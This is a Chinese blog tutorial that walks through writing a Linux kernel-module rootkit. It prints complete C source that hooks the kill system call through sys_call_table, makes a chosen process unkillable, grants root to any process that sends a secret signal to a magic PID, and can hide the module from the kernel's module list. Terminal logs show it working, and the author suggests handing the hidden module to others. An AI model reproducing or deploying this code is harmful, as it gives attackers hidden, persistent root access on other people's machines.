zoukankan      html  css  js  c++  java
  • 手把手教你写LKM rookit! 之 杀不死的pid&root后门

    ......上一节,我们编写了一个基本的lkm模块,从功能上来说它还没有rootkit的特征,这次我们给它添加一点有意思的功能.我们让一个指定的进程杀不死,

        曾经,想写一个谁也杀不死的进程,进程能捕捉到SIGTERM,就是kill默认发送的signal,能捕捉到SIGINT,你平时按下Ctrl-C就是这个操作,但是无论如何你也无法阻止,

    SIGKILL,及终极杀人王火云邪神的必杀kill -9 pid.

        作为一个小强,怎么能被现实如此的摧残,我们要对命运说不,so 有个几种解决方案,一中方案:两个进程互相监听,另外一个死了,立马起一个新的进程,另外一种方案:

    我们想是谁让kill -9 就能杀死程序的?是谁?对是操作系统?作为一切操作皆系统调用来说,kill也是系统调用啊.....所以我们可以改系统调用就行了,而且在内核态可以无视用户,

    随便切换个uid都是小意思.

         废话不多,上代码

    #include <asm/unistd.h>
    #include <linux/highmem.h>
    #include <asm/current.h>
    #include <linux/sched.h>
    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/init.h>
    #include <linux/slab.h>
    #include <linux/list.h>
    #include <linux/dirent.h>
    #include <linux/string.h>
    #include <linux/fdtable.h>
    #include <linux/moduleparam.h>
    
    MODULE_AUTHOR("lietdai@gmail.com");
    MODULE_LICENSE("GPL");
    MODULE_DESCRIPTION("rootkit_sample");
    
    #define ROOT_PID 7311
    #define ROOT_SIG 7
    
    static int lpid = 1137;
    module_param(lpid, int, 0);
    
    //#define STEALTH_MODE 1 
    
    unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;
    
    static unsigned int ocr0;
    
    unsigned int clear_cr0(){
        unsigned int cr0 = read_cr0();
        write_cr0(cr0 & 0xfffeffff);
        return cr0;
    }
    
    typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig);
    kill_ptr orig_kill;
    
    asmlinkage int hacked_kill(pid_t pid, int sig){
        int actual_result;
    
        //root-access
        if (pid == ROOT_PID && sig == ROOT_SIG){
            struct cred *cred;
            cred = (struct cred *)__task_cred(current);
            cred->uid = 0;
            cred->gid = 0;
            cred->suid = 0;
            cred->euid = 0;
            cred->euid = 0;
            cred->egid = 0;
            cred->fsuid = 0;
            cred->fsgid = 0;
            return 0;        
        }else if(pid == lpid){
            printk(KERN_INFO "You cannot kill me! by process %d", lpid);
            return 0;
        }    
        
        actual_result = (*orig_kill)(pid, sig);
        return actual_result;
    }
    
    
    static int rootkit_in(void){           
    #ifdef STEALTH_MODE
        struct module *self;
    #endif
        ocr0 = clear_cr0();
        orig_kill = (kill_ptr)sys_call_table[__NR_kill]; //hooking
        sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
        write_cr0(ocr0);
    #ifdef STEALTH_MODE
        mutex_lock(&module_mutex);
        if((self = find_module("test")))
            list_del(&self->list);
        mutex_unlock(&module_mutex);
    #endif    
        printk(KERN_INFO "Loading rookit
    ");
        return 0;
    }
    
    static int rootkit_out(void){
        ocr0 = clear_cr0();
        sys_call_table[__NR_kill] = (unsigned long) orig_kill;
        write_cr0(ocr0);    
        printk(KERN_INFO "Romove rookit
    ");
        return 0;
    }
    
    module_init(rootkit_in);
    module_exit(rootkit_out);

        需要说明的几点是0xc12efee0这个地址每个人都不一样的,它在/boot/System.map-`uname -r`记录着,他表示sys_call_table的地址

        cat /boot/System.map-`uname -r` | grep sys_call

    unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;

        基本的使用就是

    1.先随便起个进程,这里以我们的哪个deamon后台签到程序为例./l137,记录pid 为 13165

    liet@kali:~/code/c/study/socket/http/bbs_sign$ ./l137 
    liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
    liet     13165  0.0  0.0   1844   280 ?        S    16:47   0:00 ./l137
    liet     13224  0.0  0.0   3484   776 pts/1    S+   16:48   0:00 grep l137
    liet@kali:~/code/c/study/socket/http/bbs_sign$ 

    2.加载rootkit

    liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ sudo insmod test.ko lpid=13165
    liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ dmesg | tail
    [  407.885977] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use)
    [  415.515641] device eth0 entered promiscuous mode
    [  813.787144] Loading rookit
    [  829.538917] Now set cr0 backed ,cr0: 8005003b
    [  829.538921] Romove rookit
    [ 2231.927831] Loading rookit
    [ 2388.490838] Now set cr0 backed ,cr0: 8005003b
    [ 2388.490842] Romove rookit
    [ 2503.793892] test: `13165' invalid for parameter `pid'
    [ 2508.832296] Loading rookit
    liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ 

    ok, rootkit loaded!!!!

    3.rootkit操作

       1.杀不死的13165进程

    liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -9 13165
    liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
    liet     13165  0.0  0.0   1844   280 ?        S    16:47   0:00 ./l137
    liet     17537  0.0  0.0   3488   776 pts/1    S+   16:52   0:00 grep l137

      2.root后门

        

    liet@kali:~/code/c/study/socket/http/bbs_sign$ id
    uid=1000(liet) gid=1000(liet) groups=1000(liet),20(dialout),27(sudo)
    liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -7 7311
    liet@kali:~/code/c/study/socket/http/bbs_sign$ id
    uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),1000(liet)
    liet@kali:~/code/c/study/socket/http/bbs_sign$ 

    你整好了一个进程之后,然后隐藏mod,再交给别人,让他杀吧,看他怎么杀,........

  • 相关阅读:
    Atitit. visual studio vs2003 vs2005 vs2008  VS2010 vs2012 vs2015新特性 新功能.doc
    Atitit. C#.net clr 2.0  4.0新特性
    Atitit. C#.net clr 2.0  4.0新特性
    Atitit.通过null 参数 反射  动态反推方法调用
    Atitit.通过null 参数 反射  动态反推方法调用
    Atitit..net clr il指令集 以及指令分类  与指令详细说明
    Atitit..net clr il指令集 以及指令分类  与指令详细说明
    Atitit.变量的定义 获取 储存 物理结构 基本类型简化 隐式转换 类型推导 与底层原理 attilaxDSL
    Atitit.变量的定义 获取 储存 物理结构 基本类型简化 隐式转换 类型推导 与底层原理 attilaxDSL
    Atitit.跨语言反射api 兼容性提升与增强 java c#。Net  php  js
  • 原文地址:https://www.cnblogs.com/l137/p/3480671.html
Copyright © 2011-2022 走看看